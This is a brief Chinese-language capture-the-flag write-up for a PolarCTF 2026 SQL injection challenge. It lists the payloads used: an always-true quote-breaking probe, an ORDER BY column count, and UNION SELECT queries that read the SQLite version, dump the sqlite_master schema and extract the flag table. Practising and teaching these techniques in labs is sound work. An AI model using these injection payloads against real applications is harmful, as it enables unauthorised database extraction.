【PolarCTF2026年春季挑战赛】sql_search

输入框很明显的SQL注入

使用下语句进行注入

' or '1'='1

通过order by 语句，知道有3列

2和3字段有回显

查询sqlite版本

' union select 1,2,sqlite_version()-- -

查询sqlite数据表

' union select 1,2,sql from sqlite_master-- -

发现有flaggggggggggg表，接下来查询得到flag

' union select 1,2,flag from flaggggggggggg-- -